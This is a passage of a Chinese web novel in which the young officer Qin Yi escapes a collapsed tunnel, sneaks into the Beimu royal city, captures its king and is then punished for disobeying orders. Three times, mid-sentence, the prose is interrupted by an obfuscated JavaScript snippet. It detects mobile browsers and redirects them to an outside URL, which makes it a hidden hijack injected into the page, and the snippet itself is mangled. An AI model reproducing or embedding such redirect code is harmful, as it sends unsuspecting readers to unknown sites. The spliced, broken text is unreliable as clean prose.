岩壁砸下来的扬尘让秦熠忍不住又咳嗽起来,他在漫天尘土中不禁苦笑,真是自作自受,谁能想到这片戈壁之下竟有一条地下河。 如今河水干涸,留下一条地下通道。他们放火致使马匹受惊踩踏地面,引发岩洞坍塌。但凡再晚些,他们也不会掉落至此。 真是倒霉。 不过现在想这些除了徒增烦恼也无济于事,还是赶紧想办法离开这里。 随着一阵阵呻吟声和咳嗽声响起,之前昏迷的兵士们陆陆续续清醒过来。 “秦都司,我们这是在哪?”一个身材矮小的士兵捂着后脑勺问道,想来是掉落时砸到了头。 他看上去比秦熠还小一些,约莫十五六岁的模样。 “我们必须赶紧离开这里,”秦熠告诉他们自己的猜测,举起火折子看到头顶仍在慢慢蔓延的裂缝,“原路返回已不可能,这里随时可能坍塌,我们只能继续往前走。” 之前说话的小少年,扭头看着前方隐没在黑暗中的甬道,仿佛一头凶猛巨兽张开的血盆大口,他打了个哆嗦,“我们能走去哪里呢?” 他旁边的一个老兵拍了他一巴掌,“二狗子,少废话,先不管能去哪,留在这儿就是等死,不如拼一把还能活。” 老兵率先站起身,“走,秦都司,你尽管吩咐,我们肯定不拖你后腿。” 秦熠抿唇,背起一个仍未苏醒的兵士,轻声承诺:“我一定会把你们带出去。” * 自秦熠违抗军令,私自率领五十人拦截北穆援军,成功击杀北穆名将札木哲却掉入地缝生死不明的消息传至雁京后,秦老夫人和秦夫人来不及悲伤,便下令封锁秦府大门,谢绝访客。 朝堂上依旧如菜市场般喧哗,一些素日就与秦柏不对付的人借由秦熠违抗军令之事攻讦秦柏。 他们全然不顾秦柏父女此刻还在北穆浴血奋战,也无视了秦熠击杀札木哲后能挽救多少大宸兵士。 承武帝和诚国公此时的心思却不在那些吵得面红耳赤的文武大臣身上。毕竟只要承武帝不下旨,就算大臣们吵得再厉害,也无济于事。 此刻他们担心的是关在府中闭门不出的宁玉瑶。 自定北军的消息传来,宁玉瑶除了进宫给皇后请安,便极少出门。 他们这些长辈都忧心不已,却又束手无策。 祁婧惠甚至亲自去沈府将沈瑜叫来长公主府中小住,希望她能好好开解宁玉瑶。 盛夏的阳光十分刺眼,宁玉瑶闭着眼睛躺在凌霄花架下,任由阳光透过橙黄色的花朵和枝叶间的缝隙洒在自己脸上。 忽然眼前一暗,宁玉瑶睁开眼,她的上方悬着一把团扇,正好挡住照在她脸上的阳光。 “别仗着自己皮肤白就使劲晒,”沈瑜瞪了她一眼,招呼青黛和青筱过来替她们郡主撑伞,“等你脸上晒出斑点,有你后悔的时候。” 宁玉瑶浅浅一笑,“还说我呢,你不也在太阳底下?进屋歇着吧,我想再待会儿。” 沈瑜无奈地看着她,但她又不敢提及任何有可能让宁玉瑶伤心的事情,只得东拉西扯地说着雁京城内一些有趣的闲人逸事。 宁玉瑶心不在焉地听着,口中偶尔敷衍应答两声。 这些天她总会梦见自己在暗无天日的地道中行走,地道中寒冷刺骨,仿佛只有这炽热的阳光才能驱散梦境中的阴寒。 她抬头看着天空,白色的太阳刺得她眼睛生疼,一滴眼泪从眼角滑落。 不知道熠哥哥在那阴暗的地缝中会不会冷。 * 秦熠也不清楚他们在地道中走了多久。 地道中既没有水也没有食物,为节省光源,火折子都极少点燃,众人就这么摸黑前行。 在这荒凉的甬道中,各种虫子成了他们主要的食物,蝎子都能算是美味,若是有沙蜥、沙鼠等动物撞到他们脚边,那可真是一顿丰盛的大餐。 “秦都司……”趴在秦熠背上的士兵嘴唇干裂,气息微弱。 “别说话,保存体力。” “秦都司……别管我了……”那名兵士眼睛发酸,但已流不出眼泪。 “闭嘴!”秦熠怒喝。 其实他自己也快到极限,在这寂静无声的黑暗中走了这么久,人都快被逼疯了。但秦熠不能疯,他是他们的上官,他必须把剩下的人带回地面。 此时还跟在秦熠身后的只剩下八人,其他人都因为摔下来伤势过重且没有伤药没能撑过去。 剩下的几人里,只有五个人还能勉强行走,可若是再不找到食物和水源,他们也要坚持不住了。 听着兵士们越来越沉重的呼吸声,秦熠停下脚步,“原地休息会儿。” 秦熠将背上的人放在石壁边,等其他人都坐下,他说:“我去前面探探路,你们好好休息。” 说罢,秦熠独自离开了这群伤残的兵士。 兵士们安静地坐在地上,他们并不担心秦熠会丢下他们独自逃跑。 若是可以,他们情愿秦都司不管他们这些拖后腿的废物,或许秦都司还能找到出路,而不是像现在这般被他们连累,耗死在这里。 等到听不见秦熠的脚步声,之前被秦熠背在背上的人开口:“谁身上有刀?” “你要刀做什么?”只有坐在他旁边的人听见了他微弱的声音。 “等我死了,你们把我的血骗秦都司喝了……” “蒋老三!”旁边一个壮汉喝断他的话,“你以为就你高尚?!还是当秦都司是傻子?秦都司要真的愿意干这种事,还能轮得到你自戕?你身上才几两肉?” 蒋老三苦笑,是啊,秦都司不是北穆那些畜牲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127627|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,干不出以同伴为食的事,之前那些没熬过来的兄弟们都被秦都司好好地安葬了。 死一般的沉默在甬道中蔓延开来,他们都在想,不如就此了断了吧,至少不继续拖累秦都司。 就在有人拿出刀准备动手之际,一阵急促的脚步声从甬道那头传来。 “有水了!前面有水!”秦熠边跑边喊,声音中满是久违的欢欣。 有水了?真的有水了? 兵士们以为自己出现了幻觉,直到一个水囊凑到嘴边,他们舔着唇上甘甜清冽的水珠,尽管很想喝个痛快,却推开水囊说道:“秦都司你喝,我们不渴。” 秦熠眼睛泛红,强硬地将水囊中的水灌到他们口中,“放心吧,前面有一个水潭,你们先稍微解解渴,待会儿到了水潭边,大家伙儿都可以喝个痛快!” “真的?”蒋老三急忙咽下口中的水,问道。 秦熠笑着安抚他:“真的,我什么时候骗过你们,水里还有鱼呢!” 等他们都喝过水,秦熠再次背起蒋老三,“走,我给你们抓鱼吃!” 兵士们互相搀扶着跟在秦熠身后,没多久他们来到一个大孔洞中,孔洞边缘有一个清澈的小水潭。 水潭很深,却清澈见底,鱼群在水中悠然游弋。水潭深处有一个洞穴,洞穴口散发着幽幽光芒,预示着这个洞穴或许能连通外面的世界。 兵士们怔怔地看着那个发着幽光的洞口,此时水和游鱼的吸引力远不及这个洞穴。 “我们是不是可以出去了?”年龄最小的二狗子喃喃低语。 秦熠揉了一把他的头。 “是的,我们能出去了,不过,”秦熠话锋一转,看向兵士们,“大家先把身体养好,水潭很深,也不知道外面是什么情况,我们不能坚持了这么久最后却功亏一篑。” 兵士们回过神,脸上满是笑容,“秦都司!都听您的,您让我们干啥我们就干啥!” 秦熠带着这八人在水潭边暂时安顿下来。 水潭里的鱼或许从未见过人类,不知道人心险恶,秦熠下去逮它们也不懂得躲避,只消片刻功夫,捞上来的大鱼就够他们饱餐一顿。 尽管没有柴火,只能生食鱼肉,但相比之前的蛇虫鼠蚁,这些在清冽潭水中长大的游鱼已算是极为珍贵的美味了。 他们九人每日便以鱼生为食,喝着潭水,安心地修养身体。闲来无事再观察潭底洞穴中透出来的光线,以此来辨别是白日还是夜晚。 就这样,日复一日,到第三天时,秦熠的身体已经恢复得相当不错。 其他兵士们的身体虽不如他,但大家都不着急,现在有了希望,每一天都有了盼头。 逐渐恢复体力的蒋老三走到在潭边沉思的秦熠身旁,“秦都司。” 秦熠回过神来,“蒋哥,有什么事?” “如果不出所料,我们现在应该是在绿洲中。” 秦熠“嗯”了一声,他明白蒋老三的意思。北穆腹地的绿洲大多被各大贵族把持,只是不知道这是哪座城池。 可惜之前他们在地道中完全迷失了方向,无法确定具体的位置。 秦熠看向周围关注着他们的兄弟们,轻声说:“我打算先去探探。” “好,秦都司小心。” 等到潭底的光线渐渐暗淡无光,直至只剩一丝微弱的幽光时。 秦熠纵身跃入水潭。 47.王城 清冷的月光洒在水面上,水池边的守卫轻轻地打了个呵欠,没有注意到水池下一道黑影一闪而过。 秦熠耐心地躲在水底,等到守卫换班时,他抓住机会蹿出水面,顺势滚入一旁的植物丛中。 直到换班的守卫走远,秦熠才龇牙咧嘴地从植物丛中溜出来,心中暗骂,在绿洲里种仙人掌,是不是有病! 秦熠一边在黑暗中潜行,一边拔掉身上的仙人掌刺,但随着他深入绿洲,身上的刺反而越来越多,他只得放弃。 他总算看明白了,这片绿洲的每一处空地都种上了大片仙人掌,显然是作为防卫,防止有人藏匿在绿植中。 眼看前方走来一队巡逻兵,秦熠无处可避,只得迅速藏进前方的仙人掌丛中,他忍不住皱了皱眉头。 疼痛倒是可以忍受,秦熠也不怕疼。关键在于这些仙人掌刺有毒,虽不致命,但扎在身上又胀又痒,很是难受。 巡逻队越来越近,秦熠迫不得已,只得又往仙人掌丛里钻了钻。 仙人掌丛的边缘挨着一座高大的石屋,秦熠缩在窗台下,等待巡逻队离开。 这时屋内传来一阵说话声,秦熠仔细聆听片刻,发现对方说的不是北穆语,他听不懂屋内两人在说什么。 趁着巡逻队远去,秦熠正打算离开,屋内说话的声音骤停,随后传来开门的声音,一个人走进屋内。 “文丞相,深夜过来,什么事?”屋内原本其中的一人用磕磕绊绊的北穆语问来人。 文丞相?文攸礼?秦熠心中隐隐有个猜测,这下他不急着走了,无视快要扎到脸上的仙人掌刺,他一动不动地窝在窗台下偷听。 “近日北穆事务繁多,怠慢了各位使臣,请多见谅。”来人看似客气,但没有多大诚意地说道。 秦熠听到熟悉的声音,垂眸思忖,果然是文攸礼,就是不知道这两个使臣来自哪国,居然敢在大宸攻打北穆之际派使臣过来。 屋内的使臣虽然对文攸礼的轻慢感到愤怒,但仍强忍着怒气问道:“既然我们的事情谈不拢,那就无须多言,请问我们何时可以离开北穆?” 文攸礼语带诧异:“使臣何出此问,你们若想离开北穆,随时可以启程,我们并未扣押你们。” 屋内两人语塞,而后气冲冲地说:“文攸礼!你别装傻!你们不安排人带路,我们怎么离开王城?” 文攸礼叹息一声:“那就抱歉了,使臣应该也明白,现在大宸大军在向着王城逼近,我们也不能轻易进出。不过使臣放心,大宸的军队打不进来的,还请各位稍安勿躁,好好在此处休息吧。” “你……”屋内那人的话还没说完,秦熠便再次听见开门的声音,随着一声重重的关门声,屋内两人又用秦熠听不懂的语言交谈起来。 但奇怪的是,秦熠从他们的语气中并没有听出多少愤怒,反而带着满满的恶意。 不过这跟他没多大关系,既然已经得到了想要的消息,今日的目的便已达到,他准备回水潭底下好好谋划一番。 地下甬道的水潭边,八名北穆士兵静静地凝视着潭底的洞口,等到洞口的光线渐渐变亮,一道人影扛着一个粗壮的物体出现在洞口。 待秦熠浮出水面,他们借着水底微光方才看清楚,秦熠扛着的是一根仙人掌。 秦熠示意岸边的人退开,将仙人掌抛上岸,没让人拉,自己爬了上去,“我身上都是刺,你们小心别碰到了。” 与北穆交战多年,老兵们自然认识这种仙人掌。其刺硬如钢针,且有毒性,不过此仙人掌的汁液可解毒,故而他们并不担心。 老兵们让秦熠褪去衣衫,点燃火折子围在他身旁替他拔刺。 秦熠悠闲地坐在地上看老兵们忙碌,满脸笑意地说:“你们猜猜我们现在在哪。” 蒋老三剥开仙人掌外皮,拿着满是黏液的仙人掌肉走来,“是哪个倒霉鬼的城池在这里?” “嘿嘿,”秦熠不怀好意地笑着,“我们在王城。” 众人忙碌的手一顿,对视一眼,皆从对方眼中看到深藏的恶意,二狗子嘻嘻一笑:“来都来了……” “那不得让北穆王好好款待款待我们?”众人笑得更加开心。 北穆的疆域辽阔,与大宸不相上下,然而其地貌十分荒凉。仅在其与大宸交界之处零星分布着几片草原,其他位置的少量绿洲皆被各大贵族占据。 北穆王城是北穆极为特殊的存在,王城位于北穆西侧,这里多为广袤的沙漠和崎岖的戈壁。 王城藏匿在一个地势复杂的绿洲之中,绿洲周围布满了天然的沙漠陷阱,这些陷阱构成了一道天然的屏障,保护着王城免受外敌的侵扰。 大宸此次对北穆用兵,并非真心要夺取王城。毕竟王城之外环境极为复杂,若强行攻入,必定损失巨大。 所以,大宸攻打北穆,其首要目的乃是震慑北穆以及周边诸国。 不过既然他们已潜入王城之内,自然不会错过这天赐良机,定要好好报北穆此前意图在雁京城炸山之仇。 “好了诸位。”秦熠打断众人的畅想,拍了拍手,示意大家安静,“这段时日大家好好休整,水性不好的赶紧练习,外面的水池比这里更深,切不可掉以轻心。” “放心吧秦都司,如此千载难逢的好机会,我们定会好好把握!” 既然知晓他们身处北穆王城脚下,定北军的兵士们便更不急于出去了。 此时他们人少,若想在王城中成就一番大事,那就更需好好谋划一番。 在兄弟们休养身体,锻炼水性之际,秦熠每隔几日便趁着夜色潜入王城进行探查。 几次下来,他便将北穆王所在的方位摸得清清楚楚,还获悉了一个重要讯息。 秦柏正带着定北军驻扎在距王城不远处。 然而,王城中的人似乎并不着急。他们笃定大宸军队攻不进来,王城内的达官贵族们依旧每日沉迷于醉生梦死之中。 这些日子,秦熠也摸透了王城中的情况。 王城中的普通兵士看似过得比外面的士兵要好,身体也颇为强壮。然而,由于王城本身面积不大,食物种类极为稀少,王城内的人患夜盲症的情况比别处更为严重。 有好几次,秦熠避无可避,以为自己即将被发现时,巡逻队却都目不斜视地从他身旁走过。 起初,秦熠还以为有什么陷阱,后来才发觉巡逻兵的耳力确实非常好,但也是真的看不见,便放下心来。 此后,他在夜间出来行事越发肆无忌惮。 正如此刻,他大剌剌地躺在北穆王奢华的石屋顶上。 由于北穆树木稀缺,王城内的建筑大多以巨石为主要材料,这些宫殿和府邸的墙壁高大而挺直,巨石的拼接可谓严丝合缝。 王宫的屋顶由巨大的石板层层叠叠铺设而成,巨石板虽然厚重,但难不倒秦熠。 他轻轻推动石板,小心地使石板间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139812|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出一条缝隙,借此偷听北穆王与文攸礼的交谈。 准确来说,是北穆王独自一人在大发雷霆。 “那群不知好歹的家伙!他们算什么东西!竟然敢逼迫本王立他们的儿子当王储?” 秦熠悄悄地从石缝中往屋内窥视了一眼。 文攸礼对面是一位四十多岁的中年男子,他身形圆润,身上佩戴着众多金器,在火光的映照下闪耀着刺眼的光芒。 北穆王怒不可遏,猛地将面前桌上的金碗金杯扫落在地,“本王正值壮年,还能生儿子!他们想要本王的王位,简直是在做白日梦。” 文攸礼待北穆王冷静一些后,方才劝说道:“王上,请息怒。各部族族长存有偏私之心,也是人之常情,王上又何必为他们气坏了自己的身子。” 他弯下腰,将散落在地的金器拾起,重新摆放到北穆王面前的桌案上,“王上的子嗣之事乃是国之大事,王上不妨借此机会,以考察诸子为由,将他们的子嗣掌控在自己手中。” 北穆王听了这话,怒气全消,“果然文丞相才是真正对本王忠心之人。不过,”他转而冷哼一声,“他们如此胁迫本王,本王断不能容忍。” 文攸礼微微一笑,“王上,来日方长。如今大宸大军压境,您先稳住各部族族长。等大宸退兵之后,您每日多宠幸几位美人,想必很快就能有好消息传来。到那时,再处置他们也不迟。” 屋顶上的秦熠若有所思地摸摸下巴。 北穆的政权与大宸全然不同,北穆最初只是由大小部落分散在其广阔的国土之上,以往皆是各自为政。只是每到秋天,他们都会前来抢掠大宸边境。 不知从何时起,北穆的一个部族发现集合所有部族共同攻打大宸比单打独斗收获更为丰厚。 于是,那个部族便逐渐收编了其他部族,打得过的直接纳入麾下,打不过的则许以重利。 就这样,北穆初代建国,大部分兵力掌握在北穆王手中,而那些未被吞并的大部族手中也还保留着自己的人马。 这么多年过去,在北穆还能威胁到北穆王,让他如此愤怒的,必然只有那些大部族。 秦熠嘴角勾起一抹坏笑,横竖大宸占领北穆是不可能的,那不如就让北穆更乱一些吧。 屋内两人轻声交谈着一些无关紧要的话,秦熠觉得再听下去也没什么用处,便准备翻身离开王宫。 “可怜我那孩儿,竟死在了异国他乡。”北穆王突然语气低沉地说道,然而却听不出有多少悲伤之情,“大宸真是欺人太甚!” 文攸礼内心虽看不上那个王储,但他并未接话。 北穆王自顾自地说着:“我那孩儿如此年幼,还未娶妻便已离世,实在是可怜。文丞相,我儿在大宸好像有个心上人?” “回王上,王储殿下曾有意追求大宸的明安郡主。” 听到“明安”二字,秦熠正要翻下屋顶的动作瞬间停止。 屋内一片寂静,一直没有声音传出。 过了许久,北穆王才缓缓说道:“那就过几日请巫师前来,替我儿配个冥婚。明安郡主也不算辱没了我儿。” “遵命,王上。” 此刻,在他们头顶上方的秦熠脸上已经没了半点笑意,眼神犹如淬了毒一般,死死地盯着他们。 他的脸颊微微抽搐,过了片刻,他强忍着怒火,悄然潜回潭底。 既然你们不想好好活着,那老子就送你们一程。 48.擒王 王城上空薄月高悬,星点斑驳。 今夜水池边的火光也十分黯淡,没人注意到水池中潜伏着九道身影。 他们耐心等待着,等巡逻队从这边走过之后,秦熠和蒋老三同时跃出水面,扭断两名守卫的脖子,将他们抛入水池中。 “一个时辰,大家分头行动,务必小心。”秦熠轻声说。 “是。”其余八人迅速消失在黑暗中。 这几日,他们在水潭下已经拟定好了计划。众人分散去破坏王城的重要场所,至于秦熠,则独自去抓北穆王。 不知道北穆王是过于自大,还是对王城外的天然流沙陷阱过分自信,他的身边侍卫数量并不多。 秦熠循着记忆来到一间挂满绣着奇怪图案幡布的石屋边,这里就是北穆大巫的居所。 屋内此刻挤满了人。 一个身披鹰羽斗篷、头发披散、瘦骨嶙峋的老人拄着一根狼头骨拐杖,站在最前方的鹰鹫图腾下。 此人便是北穆的大巫,他手中正拿着两根布条,口中念念有词。 在他身后,分别站着北穆王、文攸礼以及两名侍卫,他们一脸漠然地看着大巫的举动。 待到大巫念完口中的祷词,举起手中的布条,躲在窗台后的秦熠这才发现,其中一根布条上写着“宁玉瑶”三个字。 秦熠顿时咬紧了后槽牙。 屋内的北穆王突然开口问道:“王后和域鹰族这些天消停了?” “是的,王上,”文攸礼回道,“自从您说要为王储举行冥婚后,他们再提起立王储之事时,已不像之前那般气焰嚣张。” “不过王上,王后虽然不敢再提此事,但域鹰族恐怕没那么好打发。”毕竟一个出嫁女与王储之位,孰轻孰重他们还是能够分辨清楚的。 “无妨,能让我耳根清静一阵就行了。”他也没指望这个从未见过的儿子能起多大作用。 秦熠听着两人的交谈,稍加思索便猜到了北穆王给林鸿轩配冥婚的意图。 从这段时日北穆的局势来看,各大部族皆在逼迫北穆王立储,其中北穆王后的母族域鹰族实力最为强劲,也是对北穆王逼迫最多的一族。 北穆王不堪其扰,便想出这么一招来警示域鹰族,你们域鹰族的女人不但生不出儿子,还赶走了本王唯一的儿子,导致他客死异乡,现在你们还有脸在本王面前蹦跶? 果然,配冥婚的消息一经传出,域鹰族便消停了许多。 秦熠眼中一片冰冷,你们北穆爱怎么折腾就怎么折腾,但不该拿明安当幌子。 眼见大巫要将写着明安名字的布条,与写着“努尔勒”三个字的布条一同投入火堆中,秦熠直接从窗台翻入屋内。趁着他们尚未反应过来,他直奔北穆王而去,一把掐住北穆王的脖子。 “放肆!哪里来的贼人!还不快放开王上。”文攸礼被这突如其来的一幕惊吓到,但他很快镇定下来,大声喝道。 秦熠从北穆王身后露出半张脸,笑着打了声招呼,然而笑意却未达眼底,“文丞相,好久不见。” 文攸礼这才看清小贼的脸,顿感不妙,心中慌乱起来,“是你?!” 被死死掐住脖子的北穆王不知道来者何人,还在自顾自地说着:“你想要什么?金银珠宝还是美人?你放了本王,本王都可以给你。” 秦熠嘴角含笑,看向文攸礼,“文丞相,不如你来告诉你的王,我想要什么。” 文攸礼狠狠地瞪着秦熠,“大宸的铁力士,秦小将军,你究竟是如何进入王城的。” 听到“大宸”二字,北穆王瞬间闭上了嘴。没有了烦人的声音,秦熠另一只手敲了敲他的后脑,以示嘉奖。 “我如何进来的并不重要,重要的是我现在想出去了。北穆王可否亲自己送我出去?对了,文丞相,你先让窗外的弓箭手放下手里的武器。你也知道我力气大,万一我受了惊吓,不小心把你们这位王的脖子拧了,那可就不好了。” 秦熠说着,随手将身后的石桌一角捏成了粉末。 文攸礼看着缺了一角的石桌,再瞧了瞧脸涨得通红的王上,无奈挥挥手,让屋外刚刚聚集起来的弓箭手退下。 “秦小将军,你看这样如何,你放了王上,我们保证安安稳稳地将你送出王城。”文攸礼一副万事好商量地语气对秦熠说。 秦熠撇了撇嘴,“你当我是三岁小孩?行了,别挡道,你们这鸟不拉屎的地方小爷早就待腻了,别担心,小爷马上就离开。” 文攸礼闻言大惊,秦熠究竟潜入王城多久?居然无一人察觉! “你……”北穆王刚想说话,秦熠手上猛地用力,语气冰冷地说道:“你最好别出声,不然我可不能保证自己不会弄死你!” 北穆王被他阴森的口气震慑住,意识到秦熠绝非玩笑,不敢再多言,安静地等着文攸礼与秦熠周旋。 然而秦熠根本懒得与人废话,他一只手轻松地将北穆王这个壮汉掐离地面,另一只手则从大巫手中将写有“宁玉瑶”的布条抢过,收入怀中。 秦熠拖着北穆王毫不费力地走出石屋,屋外此时已经站满了兵将,他轻轻一笑:“这么热闹。” “秦熠!你可要想清楚,若你再不放下王上,就别想活着走出王城!”文攸礼见秦熠不上套,大声喝道。 秦熠却满不在乎地说:“无妨,反正我死了有北穆王给我陪葬,不亏。” 文攸礼语塞,头一次暗恨为何王城内守卫如此松懈。 王上手中的大将要么战死,要么在外抵御大宸,而留在王城中的各部族族长,此刻恐怕比大宸更希望王上死,根本指望不上。就连王后也大门紧闭,不愿出面。 但此刻说这些为时已晚,他只能眼睁睁地看着秦熠拖着王上向王城的出口走去。 秦熠每走一步,身后的北穆兵士们便会增多一些。看着身后越来越多的士兵,秦熠不怀好意地想,莫不是整个王城的士兵都来了?那可有好戏看了。 果然,没过多久,他们约定的一个时辰之期已至,王城内四处火光冲天。 文攸礼看着远处的熊熊大火,转头怒视着秦熠,怒极反笑:“好好好,不愧是秦家的种!” 秦熠故作谦虚道:“过奖过奖,比起家祖,我还差得远呢。” 文攸礼差点吐出一口血来,老夫并没有在夸你! 秦熠看着文攸礼恼怒的模样,假意好心地提醒道:“你不过去看看?小心你们王城被烧得只剩下石头了。” 文攸礼死死地盯着秦熠,恨声下令:“带一部分人去灭火。” 秦熠看着离开的一部分人,满意地说:“这才对嘛,跟我耗着有什么用呢。文臣相不是喜爱大宸文化吗,我来教你一句大宸谚语‘留着青山在,不怕没柴烧’,你知道什么意思吗?就是……” “我知道!”文攸礼不想听他废话,怒喝道。 “哎呀,别这么凶嘛。”秦熠语气轻松地插科打诨,但手上的动作半点都不松懈,偶尔还会因聊得过于投入,没注意手劲,差点把北穆王掐得断了气。 文攸礼胆战心惊地看着秦熠手上的动作,不敢再对他大声呼喝。 很快,秦熠便带着北穆王来到了一条宽阔的石板路上,这条路就通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150451|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往王城外。 石板路的另一侧有几个人背靠着骆驼,正在跟王城的守卫激战。 秦熠侧头看了一眼文攸礼,“不如文丞相让他们都停手?” 文攸礼紧紧攥住拳头,跟秦熠对视,秦熠不以为怵,轻笑着手指慢慢用力。 眼看北穆王脸色发青,眼睛泛白。文攸礼大吼:“都住手。” 前方的守卫们应声停下,秦熠赞许地看了一眼文攸礼,稍稍松开掐着北穆王的手,北穆王忍不住大口地喘着气。 二狗子牵着一头骆驼跑过来,“秦都司,顺利完成任务。” 秦熠仔细打量着他们,只见他们身上都带着伤,不过好在都不致命。 北穆王好不容易平顺了呼吸,看着他们这副胜券在握的模样,忍不住冷笑:“你们真以为能活着走出王城?” 秦熠敲了敲他的脑袋,不以为然地说:“走不出去就走不出去呗。” 说着,他抬起头扬声问道:“儿郎们,若我们今日死在北穆,你们可会后悔?” 八名大宸士兵看着秦熠手中的北穆王,大笑道:“有北穆王给我们陪葬,就算死了也值了!” 秦熠用力扯着北穆王的头发,“看,我们想不想活并不重要,重要的是你自己想不想活。” 说完,他掐着北穆王,翻身骑上骆驼。 文攸礼看着他们这副生死不惧的模样,知道这群大宸人是真的不怕死在这里。他只能束手无策地看着秦熠挟持着王上,带着大宸的兵士们离开了王城。 他回头望望仍在燃烧着的王城,再看看北穆王被捆缚在骆驼上的背影,顿感颓丧。 北穆…… 大势已去…… 出了王城,秦熠便将北穆王从骆驼上放下,用绳子如遛狗一般牵着北穆王,让他带路。 自己则悠然地骑着骆驼跟在北穆王身后,而他们后面远远地跟着不死心的北穆将士。 满心屈辱的北穆王起初并没有这般听话,好几次试图骗秦熠走进流沙中,但秦熠可没那么好糊弄,直接将他往流沙中一扔,等他害怕了再把他拉回来,如此几次之后北穆王就老实了。 他们从天黑一直走到天色完全大亮,再也看不到半点王城的影子,这才彻底走出流沙阵。 看着流沙阵外驻扎着的军营以及军营上方的“定北军”旗帜,兵士们忍不住发出一阵欢呼声,跳下骆驼迅速向营地跑去。 秦熠看着他们欢快的背影,脸上的笑容却渐渐消失。 此次行动,自己的确收获颇丰。成功截杀了札木哲,又从北穆王城全身而退,还带回了北穆王。 然而,违抗军令却也是事实。也不知自己这条小命还能否保得住。 可即便如此,他也不后悔。倘若再来一次,他必定还是会做出同样的抉择。 罢了,伸头一刀,缩头也是一刀,犹豫也没用。 秦熠一咬牙,大步踏入定北军营地。 营地内此刻一片欢腾,瞧见秦熠擒着北穆王归来,更是热闹非凡。凡是无需巡视的将士们纷纷朝营地大门涌来。 秦熠笑着听将士们对自己的夸赞,远远便看见自己的亲爹朝这边走来。 秦柏神色复杂地望着自己失而复得的儿子,经过这一个多月的磨练,这臭小子确实成熟了不少。他缓缓走到人群边缘,狠下心,沉声问道:“秦熠,你可知罪!” 秦熠将手中的北穆王丢到一旁,跪在地上,垂首应道:“属下知罪。” 秦柏袖中的拳头紧紧握住,半晌,哑声开口:“秦熠违抗军令,军法处置,拖下去,斩立决!” 49.受罚 大营内瞬间安静下来,众人皆惊愕地看着秦柏。 秦秀灵急匆匆赶来,只听到父亲的那句”斩立决”,但她不能劝,所有人都可以求情,唯独秦家的人不能。 她只能默默地站在父亲身后,心中满是酸楚地望着失踪月余的弟弟,看他的模样显然吃了不少苦。 被捆缚在地上的北穆王放声大笑,打破了这片死寂,“秦小将军,你为大宸国出生入死,却换来了这样的结局,真是可笑至极。不如跟本王回北穆,本王封你为兵马大元帅,如何?” 离他最近的蒋老三回过神,看着张狂的北穆王,迅速扯下自己身上破烂的衣裳,狠狠地塞到北穆王的嘴里。 北穆王“呜呜”了两声,便不再徒劳挣扎,躺在地上满脸讥诮地看着眼前这场闹剧。 被北穆王这么一打岔,严耕最先反应过来,立刻跪在地上恳求道:“将军,秦都司确是事出有因。若不拦截札木哲,不止落茳城,恐怕后续的诸多城池都难以保全,恳请将军收回成命!” “求将军收回成命!”在场的将士们纷纷跪下。 秦柏沉默地看着面前齐刷刷跪下为秦熠求情的将士们,开口道:“秦熠擅自行动,致使包抄计划生变,许多将士因此枉死,这难道不是他的失职?” “可……”严耕正欲再说,向宗得到消息匆匆赶来,插话道:“秦熠此次行动虽让我们攻占彔安城比预想中艰难了些,但他仅率五十人便截杀了札木哲,挽救了更多兵士,还闯入王城绑回了北穆王,此乃大功一件!功过相抵,秦熠罪不至死啊,将军!’” 秦柏冷哼一声:“功是功,过是过,若人人都如他这般擅自行动,军中还有何军纪?不必多言,来人!把秦熠拉下去!” 军营中沉寂无声,亦无人行动。秦熠跪在地上,并不为自己辩解。 其他副将此时也赶到了大营门口,纷纷进言道:“将军,将在外,君命有所不受。若明知札木哲要绕后偷袭而不加以阻拦,恐怕后果不堪设想。” “将军,秦熠仅率五十人行动,此乃他权衡再三后的最佳抉择,请将军饶他一命。” 秦柏看着跪在地上的众将士,沉默良久,最终深吸一口气,作出决定:“秦熠擅自行动,依律当斩,但念其功绩斐然,且事出有因,特免其死罪,改为杖责八十,以儆效尤。其余罪责,待我奏明皇上,由圣上裁决。” “谢将军不杀之恩!”严耕等人听到这话,连忙拱手道谢。 秦柏未再言语,转身离去。 秦秀灵并未跟随父亲离开,她强忍泪水,看着秦熠自行脱去衣物跪在军旗下方。 大营中数万将士静静伫立原地,双眼通红地看着赤裸着上身,跪在地上的秦熠。 此时,天地间一片寂静,只能听见大漠上的风裹着沙砾吹过营帐的声音。 两名士兵拿着军棍走来,朝秦熠行礼道:“秦都司,得罪了。” 秦熠对他们点点头。 军棍带着沉闷的声响落下,将士们看着秦熠的脊背,从最初的完好无损,渐渐变得红肿,而后皮开肉绽。 